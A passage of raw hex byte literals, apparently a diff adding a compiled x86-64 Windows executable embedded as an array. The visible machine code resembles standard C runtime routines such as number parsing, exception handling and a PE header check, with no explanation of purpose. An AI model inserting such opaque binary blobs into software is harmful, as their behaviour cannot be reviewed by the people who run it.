0x48, 0x83, 0xfe, 0x08, + 0x75, 0x0a, 0x48, 0x8b, 0xd7, 0xe8, 0xfe, 0xf0, 0xff, 0xff, 0xeb, 0x07, + 0x8b, 0xd7, 0xe8, 0x6d, 0xf0, 0xff, 0xff, 0x8b, 0x43, 0x30, 0xc1, 0xe8, + 0x07, 0xa8, 0x01, 0x74, 0x1d, 0x83, 0x7b, 0x50, 0x00, 0x74, 0x09, 0x48, + 0x8b, 0x4b, 0x48, 0x80, 0x39, 0x30, 0x74, 0x0e, 0x48, 0xff, 0x4b, 0x48, + 0x48, 0x8b, 0x4b, 0x48, 0xc6, 0x01, 0x30, 0xff, 0x43, 0x50, 0xb0, 0x01, + 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x8b, + 0x74, 0x24, 0x40, 0x48, 0x8b, 0x7c, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x20, + 0x41, 0x5e, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, + 0xec, 0x20, 0x48, 0x83, 0x41, 0x20, 0x08, 0x48, 0x8b, 0xd9, 0x48, 0x8b, + 0x41, 0x20, 0x48, 0x8b, 0x78, 0xf8, 0xe8, 0xad, 0x36, 0x00, 0x00, 0x85, + 0xc0, 0x75, 0x14, 0xe8, 0x04, 0x20, 0x00, 0x00, 0xc7, 0x00, 0x16, 0x00, + 0x00, 0x00, 0xe8, 0xd9, 0x1e, 0x00, 0x00, 0x32, 0xc0, 0xeb, 0x44, 0x8b, + 0x4b, 0x3c, 0xe8, 0xe1, 0xfa, 0xff, 0xff, 0x48, 0x83, 0xe8, 0x01, 0x74, + 0x2b, 0x48, 0x83, 0xe8, 0x01, 0x74, 0x1c, 0x48, 0x83, 0xe8, 0x02, 0x74, + 0x0f, 0x48, 0x83, 0xf8, 0x04, 0x75, 0xcc, 0x48, 0x63, 0x43, 0x28, 0x48, + 0x89, 0x07, 0xeb, 0x15, 0x8b, 0x43, 0x28, 0x89, 0x07, 0xeb, 0x0e, 0x0f, + 0xb7, 0x43, 0x28, 0x66, 0x89, 0x07, 0xeb, 0x05, 0x8a, 0x43, 0x28, 0x88, + 0x07, 0xc6, 0x43, 0x40, 0x01, 0xb0, 0x01, 0x48, 0x8b, 0x5c, 0x24, 0x30, + 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, + 0xec, 0x20, 0x48, 0x83, 0x41, 0x20, 0x08, 0x48, 0x8b, 0xd9, 0x48, 0x8b, + 0x41, 0x20, 0x44, 0x8b, 0x43, 0x38, 0x41, 0x83, 0xf8, 0xff, 0x48, 0x8b, + 0x48, 0xf8, 0xb8, 0xff, 0xff, 0xff, 0x7f, 0x8b, 0x53, 0x3c, 0x44, 0x0f, + 0x44, 0xc0, 0x48, 0x89, 0x4b, 0x48, 0x83, 0xea, 0x02, 0x74, 0x1c, 0x83, + 0xea, 0x01, 0x74, 0x1d, 0x83, 0xfa, 0x09, 0x74, 0x18, 0x83, 0x7b, 0x3c, + 0x0d, 0x74, 0x30, 0x8a, 0x43, 0x41, 0x2c, 0x63, 0xa8, 0xef, 0x0f, 0x95, + 0xc0, 0xeb, 0x02, 0x32, 0xc0, 0x84, 0xc0, 0x74, 0x1e, 0x48, 0x85, 0xc9, + 0x75, 0x0b, 0x48, 0x8d, 0x0d, 0x67, 0xe8, 0x00, 0x00, 0x48, 0x89, 0x4b, + 0x48, 0x49, 0x63, 0xd0, 0xc6, 0x43, 0x54, 0x01, 0xe8, 0x93, 0x24, 0x00, + 0x00, 0xeb, 0x18, 0x48, 0x85, 0xc9, 0x75, 0x0b, 0x48, 0x8d, 0x0d, 0x59, + 0xe8, 0x00, 0x00, 0x48, 0x89, 0x4b, 0x48, 0x49, 0x63, 0xd0, 0xe8, 0x29, + 0x23, 0x00, 0x00, 0x89, 0x43, 0x50, 0xb0, 0x01, 0x48, 0x83, 0xc4, 0x20, + 0x5b, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x74, + 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x50, 0x48, 0x8b, 0x05, 0x52, 0x81, + 0x01, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, 0x44, 0x24, 0x40, 0x80, 0x79, + 0x54, 0x00, 0x48, 0x8b, 0xd9, 0x74, 0x72, 0x83, 0x79, 0x50, 0x00, 0x7e, + 0x6c, 0x48, 0x8b, 0x71, 0x48, 0x33, 0xff, 0x48, 0x8b, 0x43, 0x08, 0x48, + 0x8d, 0x54, 0x24, 0x34, 0x44, 0x0f, 0xb7, 0x0e, 0x48, 0x8d, 0x4c, 0x24, + 0x30, 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, 0x76, 0x02, 0x41, 0xb8, + 0x06, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x22, 0x21, + 0x00, 0x00, 0x85, 0xc0, 0x75, 0x31, 0x44, 0x8b, 0x44, 0x24, 0x30, 0x45, + 0x85, 0xc0, 0x74, 0x27, 0x48, 0x8d, 0x43, 0x10, 0x4c, 0x8d, 0x4b, 0x28, + 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8d, 0x8b, 0x68, 0x04, 0x00, 0x00, + 0x48, 0x8d, 0x54, 0x24, 0x34, 0xe8, 0x52, 0x00, 0x00, 0x00, 0xff, 0xc7, + 0x3b, 0x7b, 0x50, 0x75, 0xa2, 0xeb, 0x27, 0x83, 0x4b, 0x28, 0xff, 0xeb, + 0x21, 0x44, 0x8b, 0x43, 0x50, 0x48, 0x8d, 0x41, 0x10, 0x48, 0x8b, 0x53, + 0x48, 0x4c, 0x8d, 0x49, 0x28, 0x48, 0x81, 0xc1, 0x68, 0x04, 0x00, 0x00, + 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x22, 0x00, 0x00, 0x00, 0xb0, 0x01, + 0x48, 0x8b, 0x4c, 0x24, 0x40, 0x48, 0x33, 0xcc, 0xe8, 0x17, 0xca, 0xff, + 0xff, 0x48, 0x8b, 0x5c, 0x24, 0x68, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, + 0x83, 0xc4, 0x50, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0x45, 0x85, 0xc0, 0x0f, + 0x84, 0x99, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, + 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, + 0x41, 0x56, 0x48, 0x83, 0xec, 0x20, 0x4c, 0x8b, 0xf1, 0x49, 0x63, 0xf8, + 0x48, 0x8b, 0x09, 0x49, 0x8b, 0xd9, 0x48, 0x8b, 0x41, 0x08, 0x48, 0x39, + 0x41, 0x10, 0x75, 0x11, 0x80, 0x79, 0x18, 0x00, 0x74, 0x05, 0x41, 0x01, + 0x39, 0xeb, 0x45, 0x41, 0x83, 0x09, 0xff, 0xeb, 0x3f, 0x48, 0x2b, 0x41, + 0x10, 0x48, 0x8b, 0xf7, 0x48, 0x8b, 0x09, 0x48, 0x3b, 0xc7, 0x48, 0x0f, + 0x42, 0xf0, 0x4c, 0x8b, 0xc6, 0xe8, 0x32, 0xdf, 0xff, 0xff, 0x49, 0x8b, + 0x06, 0x48, 0x01, 0x30, 0x49, 0x8b, 0x06, 0x48, 0x01, 0x70, 0x10, 0x49, + 0x8b, 0x06, 0x80, 0x78, 0x18, 0x00, 0x74, 0x04, 0x01, 0x3b, 0xeb, 0x0c, + 0x48, 0x3b, 0xf7, 0x74, 0x05, 0x83, 0x0b, 0xff, 0xeb, 0x02, 0x01, 0x33, + 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x8b, + 0x74, 0x24, 0x40, 0x48, 0x8b, 0x7c, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x20, + 0x41, 0x5e, 0xc3, 0xcc, 0xe9, 0x0f, 0xeb, 0xff, 0xff, 0xcc, 0xcc, 0xcc, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x83, 0x64, 0x24, 0x30, 0x00, + 0x48, 0x8b, 0xd9, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0xff, 0x15, 0xd6, 0xd0, + 0x00, 0x00, 0x48, 0xb9, 0x00, 0x80, 0xc1, 0x2a, 0x21, 0x4e, 0x62, 0xfe, + 0x48, 0xb8, 0x00, 0x80, 0x47, 0xdd, 0x78, 0xf0, 0x83, 0x04, 0x48, 0x03, + 0x4c, 0x24, 0x30, 0x48, 0x3b, 0xc8, 0x7d, 0x20, 0x48, 0xb8, 0xbd, 0x42, + 0x7a, 0xe5, 0xd5, 0x94, 0xbf, 0xd6, 0x48, 0xf7, 0xe9, 0x48, 0x03, 0xd1, + 0x48, 0xc1, 0xfa, 0x17, 0x48, 0x8b, 0xc2, 0x48, 0xc1, 0xe8, 0x3f, 0x48, + 0x03, 0xd0, 0xeb, 0x04, 0x48, 0x83, 0xca, 0xff, 0x48, 0x85, 0xdb, 0x74, + 0x03, 0x48, 0x89, 0x13, 0x48, 0x8b, 0xc2, 0x48, 0x83, 0xc4, 0x20, 0x5b, + 0xc3, 0xcc, 0xcc, 0xcc, 0xc7, 0x44, 0x24, 0x10, 0x00, 0x00, 0x00, 0x00, + 0x8b, 0x44, 0x24, 0x10, 0xe9, 0x23, 0x1d, 0x00, 0x00, 0xcc, 0xcc, 0xcc, + 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, + 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, 0x55, 0x41, 0x56, 0x41, + 0x57, 0x48, 0x83, 0xec, 0x40, 0x48, 0x83, 0x3a, 0x00, 0x45, 0x8b, 0xf0, + 0x41, 0x0f, 0xb6, 0xe9, 0x48, 0x8b, 0xda, 0x75, 0x15, 0xe8, 0xce, 0x1c, + 0x00, 0x00, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, 0xe8, 0xa3, 0x1b, 0x00, + 0x00, 0xe9, 0xcb, 0x01, 0x00, 0x00, 0x45, 0x85, 0xf6, 0x74, 0x09, 0x41, + 0x8d, 0x40, 0xfe, 0x83, 0xf8, 0x22, 0x77, 0xdd, 0x48, 0x8b, 0xd1, 0x48, + 0x8d, 0x4c, 0x24, 0x20, 0xe8, 0x2f, 0xee, 0xff, 0xff, 0x4c, 0x8b, 0x3b, + 0x33, 0xf6, 0x41, 0x0f, 0xb6, 0x3f, 0x44, 0x8d, 0x6e, 0x08, 0x49, 0x8d, + 0x47, 0x01, 0xeb, 0x09, 0x48, 0x8b, 0x03, 0x0f, 0xb6, 0x38, 0x48, 0xff, + 0xc0, 0x4c, 0x8d, 0x44, 0x24, 0x28, 0x48, 0x89, 0x03, 0x41, 0x8b, 0xd5, + 0x8b, 0xcf, 0xe8, 0x79, 0x02, 0x00, 0x00, 0x85, 0xc0, 0x75, 0xe1, 0x8b, + 0xc5, 0x83, 0xcd, 0x02, 0x40, 0x80, 0xff, 0x2d, 0x0f, 0x45, 0xe8, 0x8d, + 0x47, 0xd5, 0xa8, 0xfd, 0x75, 0x0c, 0x48, 0x8b, 0x03, 0x40, 0x8a, 0x38, + 0x48, 0xff, 0xc0, 0x48, 0x89, 0x03, 0x41, 0x83, 0xcd, 0xff, 0x41, 0xf7, + 0xc6, 0xef, 0xff, 0xff, 0xff, 0x0f, 0x85, 0x99, 0x00, 0x00, 0x00, 0x8d, + 0x47, 0xd0, 0x3c, 0x09, 0x77, 0x09, 0x40, 0x0f, 0xbe, 0xc7, 0x83, 0xc0, + 0xd0, 0xeb, 0x23, 0x8d, 0x47, 0x9f, 0x3c, 0x19, 0x77, 0x09, 0x40, 0x0f, + 0xbe, 0xc7, 0x83, 0xc0, 0xa9, 0xeb, 0x13, 0x8d, 0x47, 0xbf, 0x3c, 0x19, + 0x77, 0x09, 0x40, 0x0f, 0xbe, 0xc7, 0x83, 0xc0, 0xc9, 0xeb, 0x03, 0x41, + 0x8b, 0xc5, 0x85, 0xc0, 0x74, 0x07, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xeb, + 0x51, 0x48, 0x8b, 0x03, 0x8a, 0x10, 0x48, 0x8d, 0x48, 0x01, 0x48, 0x89, + 0x0b, 0x8d, 0x42, 0xa8, 0xa8, 0xdf, 0x74, 0x2f, 0x45, 0x85, 0xf6, 0xb8, + 0x08, 0x00, 0x00, 0x00, 0x41, 0x0f, 0x45, 0xc6, 0x48, 0xff, 0xc9, 0x48, + 0x89, 0x0b, 0x44, 0x8b, 0xf0, 0x84, 0xd2, 0x74, 0x2f, 0x38, 0x11, 0x74, + 0x2b, 0xe8, 0xce, 0x1b, 0x00, 0x00, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, + 0xe8, 0xa3, 0x1a, 0x00, 0x00, 0xeb, 0x19, 0x40, 0x8a, 0x39, 0x48, 0x8d, + 0x41, 0x01, 0x48, 0x89, 0x03, 0xb8, 0x10, 0x00, 0x00, 0x00, 0x45, 0x85, + 0xf6, 0x41, 0x0f, 0x45, 0xc6, 0x44, 0x8b, 0xf0, 0x33, 0xd2, 0x41, 0x8b, + 0xc5, 0x41, 0xf7, 0xf6, 0x44, 0x8b, 0xc0, 0x8d, 0x4f, 0xd0, 0x80, 0xf9, + 0x09, 0x77, 0x09, 0x40, 0x0f, 0xbe, 0xcf, 0x83, 0xc1, 0xd0, 0xeb, 0x23, + 0x8d, 0x47, 0x9f, 0x3c, 0x19, 0x77, 0x09, 0x40, 0x0f, 0xbe, 0xcf, 0x83, + 0xc1, 0xa9, 0xeb, 0x13, 0x8d, 0x47, 0xbf, 0x3c, 0x19, 0x77, 0x09, 0x40, + 0x0f, 0xbe, 0xcf, 0x83, 0xc1, 0xc9, 0xeb, 0x03, 0x41, 0x8b, 0xcd, 0x41, + 0x3b, 0xcd, 0x74, 0x32, 0x41, 0x3b, 0xce, 0x73, 0x2d, 0x41, 0x3b, 0xf0, + 0x72, 0x0d, 0x75, 0x04, 0x3b, 0xca, 0x76, 0x07, 0xb9, 0x0c, 0x00, 0x00, + 0x00, 0xeb, 0x0b, 0x41, 0x0f, 0xaf, 0xf6, 0x03, 0xf1, 0xb9, 0x08, 0x00, + 0x00, 0x00, 0x48, 0x8b, 0x03, 0x40, 0x8a, 0x38, 0x48, 0xff, 0xc0, 0x48, + 0x89, 0x03, 0x0b, 0xe9, 0xeb, 0x95, 0x48, 0x8b, 0x03, 0x48, 0xff, 0xc8, + 0x48, 0x89, 0x03, 0x40, 0x84, 0xff, 0x74, 0x15, 0x40, 0x38, 0x38, 0x74, + 0x10, 0xe8, 0x1a, 0x1b, 0x00, 0x00, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, + 0xe8, 0xef, 0x19, 0x00, 0x00, 0x40, 0xf6, 0xc5, 0x08, 0x75, 0x2c, 0x80, + 0x7c, 0x24, 0x38, 0x00, 0x4c, 0x89, 0x3b, 0x74, 0x0c, 0x48, 0x8b, 0x44, + 0x24, 0x20, 0x83, 0xa0, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x48, 0x8b, 0x4b, + 0x08, 0x48, 0x85, 0xc9, 0x74, 0x06, 0x48, 0x8b, 0x03, 0x48, 0x89, 0x01, + 0x33, 0xc0, 0xe9, 0xc0, 0x00, 0x00, 0x00, 0x8b, 0xfd, 0x41, 0xbe, 0xff, + 0xff, 0xff, 0x7f, 0x83, 0xe7, 0x01, 0x41, 0xbf, 0x00, 0x00, 0x00, 0x80, + 0x40, 0xf6, 0xc5, 0x04, 0x75, 0x0f, 0x85, 0xff, 0x74, 0x4b, 0x40, 0xf6, + 0xc5, 0x02, 0x74, 0x40, 0x41, 0x3b, 0xf7, 0x76, 0x40, 0x83, 0xe5, 0x02, + 0xe8, 0xaf, 0x1a, 0x00, 0x00, 0xc7, 0x00, 0x22, 0x00, 0x00, 0x00, 0x85, + 0xff, 0x75, 0x38, 0x41, 0x8b, 0xf5, 0x80, 0x7c, 0x24, 0x38, 0x00, 0x74, + 0x0c, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0x83, 0xa1, 0xa8, 0x03, 0x00, 0x00, + 0xfd, 0x48, 0x8b, 0x43, 0x08, 0x48, 0x85, 0xc0, 0x74, 0x06, 0x48, 0x8b, + 0x0b, 0x48, 0x89, 0x08, 0x8b, 0xc6, 0xeb, 0x5f, 0x41, 0x3b, 0xf6, 0x77, + 0xc0, 0x40, 0xf6, 0xc5, 0x02, 0x74, 0xcf, 0xf7, 0xde, 0xeb, 0xcb, 0x85, + 0xed, 0x74, 0x27, 0x80, 0x7c, 0x24, 0x38, 0x00, 0x74, 0x0c, 0x48, 0x8b, + 0x4c, 0x24, 0x20, 0x83, 0xa1, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x48, 0x8b, + 0x53, 0x08, 0x48, 0x85, 0xd2, 0x74, 0x06, 0x48, 0x8b, 0x0b, 0x48, 0x89, + 0x0a, 0x41, 0x8b, 0xc7, 0xeb, 0x25, 0x80, 0x7c, 0x24, 0x38, 0x00, 0x74, + 0x0c, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0x83, 0xa1, 0xa8, 0x03, 0x00, 0x00, + 0xfd, 0x48, 0x8b, 0x53, 0x08, 0x48, 0x85, 0xd2, 0x74, 0x06, 0x48, 0x8b, + 0x0b, 0x48, 0x89, 0x0a, 0x41, 0x8b, 0xc6, 0x48, 0x8b, 0x5c, 0x24, 0x60, + 0x48, 0x8b, 0x6c, 0x24, 0x68, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, 0x8b, + 0x7c, 0x24, 0x78, 0x48, 0x83, 0xc4, 0x40, 0x41, 0x5f, 0x41, 0x5e, 0x41, + 0x5d, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, + 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x20, + 0x48, 0x63, 0xf9, 0x33, 0xdb, 0x8b, 0xf2, 0x8d, 0x6f, 0x01, 0x4d, 0x85, + 0xc0, 0x74, 0x29, 0x49, 0x8b, 0x00, 0x81, 0xfd, 0x00, 0x01, 0x00, 0x00, + 0x77, 0x0b, 0x48, 0x8b, 0x00, 0x0f, 0xb7, 0x04, 0x78, 0x23, 0xc2, 0xeb, + 0x28, 0x83, 0x78, 0x08, 0x01, 0x7e, 0x09, 0x8b, 0xcf, 0xe8, 0x5a, 0x39, + 0x00, 0x00, 0xeb, 0x19, 0x33, 0xc0, 0xeb, 0x15, 0xe8, 0x1f, 0x39, 0x00, + 0x00, 0x81, 0xfd, 0x00, 0x01, 0x00, 0x00, 0x77, 0x06, 0x0f, 0xb7, 0x1c, + 0x78, 0x23, 0xde, 0x8b, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, + 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x20, + 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x38, 0x48, 0x83, 0x64, 0x24, + 0x28, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x89, 0x4c, 0x24, 0x20, + 0x41, 0xb1, 0x01, 0x33, 0xc9, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xe8, + 0x60, 0xfc, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xcc, 0xcc, 0xcc, + 0xe9, 0xb3, 0x19, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, + 0x48, 0x83, 0xec, 0x20, 0x33, 0xed, 0x48, 0x8b, 0xfa, 0x48, 0x2b, 0xf9, + 0x48, 0x8b, 0xd9, 0x48, 0x83, 0xc7, 0x07, 0x8b, 0xf5, 0x48, 0xc1, 0xef, + 0x03, 0x48, 0x3b, 0xca, 0x48, 0x0f, 0x47, 0xfd, 0x48, 0x85, 0xff, 0x74, + 0x1a, 0x48, 0x8b, 0x03, 0x48, 0x85, 0xc0, 0x74, 0x06, 0xff, 0x15, 0x69, + 0xce, 0x00, 0x00, 0x48, 0x83, 0xc3, 0x08, 0x48, 0xff, 0xc6, 0x48, 0x3b, + 0xf7, 0x75, 0xe6, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x6c, 0x24, + 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, + 0xfa, 0x48, 0x8b, 0xd9, 0x48, 0x3b, 0xca, 0x74, 0x1b, 0x48, 0x8b, 0x03, + 0x48, 0x85, 0xc0, 0x74, 0x0a, 0xff, 0x15, 0x25, 0xce, 0x00, 0x00, 0x85, + 0xc0, 0x75, 0x0b, 0x48, 0x83, 0xc3, 0x08, 0x48, 0x3b, 0xdf, 0xeb, 0xe3, + 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, + 0xc3, 0xcc, 0xcc, 0xcc, 0xb8, 0x63, 0x73, 0x6d, 0xe0, 0x3b, 0xc8, 0x74, + 0x03, 0x33, 0xc0, 0xc3, 0x8b, 0xc8, 0xe9, 0x01, 0x00, 0x00, 0x00, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, + 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xf2, 0x8b, + 0xf9, 0xe8, 0x1a, 0x14, 0x00, 0x00, 0x45, 0x33, 0xc9, 0x48, 0x8b, 0xd8, + 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x3e, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x08, + 0x48, 0x8b, 0xc1, 0x4c, 0x8d, 0x81, 0xc0, 0x00, 0x00, 0x00, 0x49, 0x3b, + 0xc8, 0x74, 0x0d, 0x39, 0x38, 0x74, 0x0c, 0x48, 0x83, 0xc0, 0x10, 0x49, + 0x3b, 0xc0, 0x75, 0xf3, 0x49, 0x8b, 0xc1, 0x48, 0x85, 0xc0, 0x0f, 0x84, + 0x13, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x40, 0x08, 0x4d, 0x85, 0xc0, 0x0f, + 0x84, 0x06, 0x01, 0x00, 0x00, 0x49, 0x83, 0xf8, 0x05, 0x75, 0x0d, 0x4c, + 0x89, 0x48, 0x08, 0x41, 0x8d, 0x40, 0xfc, 0xe9, 0xf5, 0x00, 0x00, 0x00, + 0x49, 0x83, 0xf8, 0x01, 0x75, 0x08, 0x83, 0xc8, 0xff, 0xe9, 0xe7, 0x00, + 0x00, 0x00, 0x48, 0x8b, 0x6b, 0x08, 0x48, 0x89, 0x73, 0x08, 0x83, 0x78, + 0x04, 0x08, 0x0f, 0x85, 0xba, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc1, 0x30, + 0x48, 0x8d, 0x91, 0x90, 0x00, 0x00, 0x00, 0xeb, 0x08, 0x4c, 0x89, 0x49, + 0x08, 0x48, 0x83, 0xc1, 0x10, 0x48, 0x3b, 0xca, 0x75, 0xf3, 0x81, 0x38, + 0x8d, 0x00, 0x00, 0xc0, 0x8b, 0x7b, 0x10, 0x74, 0x7a, 0x81, 0x38, 0x8e, + 0x00, 0x00, 0xc0, 0x74, 0x6b, 0x81, 0x38, 0x8f, 0x00, 0x00, 0xc0, 0x74, + 0x5c, 0x81, 0x38, 0x90, 0x00, 0x00, 0xc0, 0x74, 0x4d, 0x81, 0x38, 0x91, + 0x00, 0x00, 0xc0, 0x74, 0x3e, 0x81, 0x38, 0x92, 0x00, 0x00, 0xc0, 0x74, + 0x2f, 0x81, 0x38, 0x93, 0x00, 0x00, 0xc0, 0x74, 0x20, 0x81, 0x38, 0xb4, + 0x02, 0x00, 0xc0, 0x74, 0x11, 0x81, 0x38, 0xb5, 0x02, 0x00, 0xc0, 0x8b, + 0xd7, 0x75, 0x40, 0xba, 0x8d, 0x00, 0x00, 0x00, 0xeb, 0x36, 0xba, 0x8e, + 0x00, 0x00, 0x00, 0xeb, 0x2f, 0xba, 0x85, 0x00, 0x00, 0x00, 0xeb, 0x28, + 0xba, 0x8a, 0x00, 0x00, 0x00, 0xeb, 0x21, 0xba, 0x84, 0x00, 0x00, 0x00, + 0xeb, 0x1a, 0xba, 0x81, 0x00, 0x00, 0x00, 0xeb, 0x13, 0xba, 0x86, 0x00, + 0x00, 0x00, 0xeb, 0x0c, 0xba, 0x83, 0x00, 0x00, 0x00, 0xeb, 0x05, 0xba, + 0x82, 0x00, 0x00, 0x00, 0x89, 0x53, 0x10, 0xb9, 0x08, 0x00, 0x00, 0x00, + 0x49, 0x8b, 0xc0, 0xff, 0x15, 0xa7, 0xcc, 0x00, 0x00, 0x89, 0x7b, 0x10, + 0xeb, 0x10, 0x8b, 0x48, 0x04, 0x4c, 0x89, 0x48, 0x08, 0x49, 0x8b, 0xc0, + 0xff, 0x15, 0x92, 0xcc, 0x00, 0x00, 0x48, 0x89, 0x6b, 0x08, 0xe9, 0x13, + 0xff, 0xff, 0xff, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, + 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x20, + 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x89, 0x4c, + 0x24, 0x20, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x49, 0x8b, + 0xf8, 0x8b, 0x0a, 0xe8, 0xec, 0x37, 0x00, 0x00, 0x90, 0x48, 0x8b, 0xcf, + 0xe8, 0x13, 0x00, 0x00, 0x00, 0x90, 0x8b, 0x0b, 0xe8, 0x2f, 0x38, 0x00, + 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x80, 0x3d, 0xc8, + 0x8b, 0x01, 0x00, 0x00, 0x0f, 0x85, 0x9f, 0x00, 0x00, 0x00, 0xb8, 0x01, + 0x00, 0x00, 0x00, 0x87, 0x05, 0xa7, 0x8b, 0x01, 0x00, 0x48, 0x8b, 0x01, + 0x8b, 0x08, 0x85, 0xc9, 0x75, 0x34, 0x48, 0x8b, 0x05, 0x07, 0x79, 0x01, + 0x00, 0x8b, 0xc8, 0x83, 0xe1, 0x3f, 0x48, 0x8b, 0x15, 0x93, 0x8b, 0x01, + 0x00, 0x48, 0x3b, 0xd0, 0x74, 0x13, 0x48, 0x33, 0xc2, 0x48, 0xd3, 0xc8, + 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x15, 0xe3, 0xcb, 0x00, + 0x00, 0x48, 0x8d, 0x0d, 0xac, 0x8c, 0x01, 0x00, 0xeb, 0x0c, 0x83, 0xf9, + 0x01, 0x75, 0x0d, 0x48, 0x8d, 0x0d, 0xb6, 0x8c, 0x01, 0x00, 0xe8, 0x1d, + 0x09, 0x00, 0x00, 0x90, 0x48, 0x8b, 0x03, 0x83, 0x38, 0x00, 0x75, 0x13, + 0x48, 0x8d, 0x15, 0x29, 0xcc, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x02, 0xcc, + 0x00, 0x00, 0xe8, 0x01, 0xfd, 0xff, 0xff, 0x48, 0x8d, 0x15, 0x26, 0xcc, + 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x17, 0xcc, 0x00, 0x00, 0xe8, 0xee, 0xfc, + 0xff, 0xff, 0x48, 0x8b, 0x43, 0x08, 0x83, 0x38, 0x00, 0x75, 0x0e, 0xc6, + 0x05, 0x2a, 0x8b, 0x01, 0x00, 0x01, 0x48, 0x8b, 0x43, 0x10, 0xc6, 0x00, + 0x01, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xe8, 0xe0, 0x0a, 0x00, 0x00, + 0x90, 0xcc, 0xcc, 0xcc, 0x33, 0xc0, 0x81, 0xf9, 0x63, 0x73, 0x6d, 0xe0, + 0x0f, 0x94, 0xc0, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x44, 0x89, 0x44, + 0x24, 0x18, 0x89, 0x54, 0x24, 0x10, 0x55, 0x48, 0x8b, 0xec, 0x48, 0x83, + 0xec, 0x50, 0x8b, 0xd9, 0x45, 0x85, 0xc0, 0x75, 0x4a, 0x33, 0xc9, 0xff, + 0x15, 0x73, 0xc9, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x3d, 0xb9, 0x4d, + 0x5a, 0x00, 0x00, 0x66, 0x39, 0x08, 0x75, 0x33, 0x48, 0x63, 0x48, 0x3c, + 0x48, 0x03, 0xc8, 0x81, 0x39, 0x50, 0x45, 0x00, 0x00, 0x75, 0x24, 0xb8, + 0x0b, 0x02, 0x00, 0x00, 0x66, 